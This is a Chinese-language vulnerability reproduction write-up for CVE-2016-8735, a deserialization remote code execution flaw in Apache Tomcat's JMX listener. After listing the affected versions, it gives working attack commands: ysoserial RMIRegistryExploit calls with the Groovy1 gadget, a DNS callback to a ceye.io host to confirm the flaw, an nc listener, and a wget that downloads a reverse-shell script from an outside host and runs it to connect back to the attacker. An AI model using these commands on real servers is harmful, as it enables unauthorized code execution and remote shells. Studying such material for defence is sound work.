# CVE-2016-8735 Tomcat 反序列化漏洞
### 一、漏洞简介
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致的远程代码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
### 二、漏洞影响
* ApacheTomcat 9.0.0.M1 到9.0.0.M11
* ApacheTomcat 8.5.0 到8.5.6
* ApacheTomcat 8.0.0.RC1 到8.0.38
* ApacheTomcat 7.0.0 到7.0.72
* ApacheTomcat 6.0.0 到6.0.47
### 三、复现过程
漏洞利用条件:
外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执行。
构造命令
Win ping一次命令:
“`bash
ping -n 1 qjkpla.ceye.io
“`
Linux ping 一次命令:
“`bash
ping -c 1 qjkpla.ceye.io
“`
利用Ceye回显看是否存在漏洞:
“`bash
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 “ping -c Groovy1.test.qjkpla.ceye.io”
“`
![](/static/lingzu/images/15893697906994.png)
DNS回显能返回数据,说明执行了Ping命令,也就是说漏洞存在
![](/static/lingzu/images/15893697967464.png)
直接NC监听服务:
“`bash
nc -l -vv 12555
“`
![](/static/lingzu/images/15893698070449.png)
然后构造命令:下载我们的反弹脚本:(之前用bash命令反弹没有成功所以使用Python脚本进行反弹)
“`bash
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 “wget http://rinige.com/back.py -O /tmp/x.py”
“`
执行完此命令继续构造命令,去执行刚在wget的脚本
“`bash
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口Groovy1 “python /tmp/x.py 反弹主机地址 反弹端口”
“`
![](/static/lingzu/images/15893698290579.png)
成功反弹:
![](/static/lingzu/images/15893698347571.png)
![](/static/lingzu/images/15893698384164.png)
请登录后查看评论内容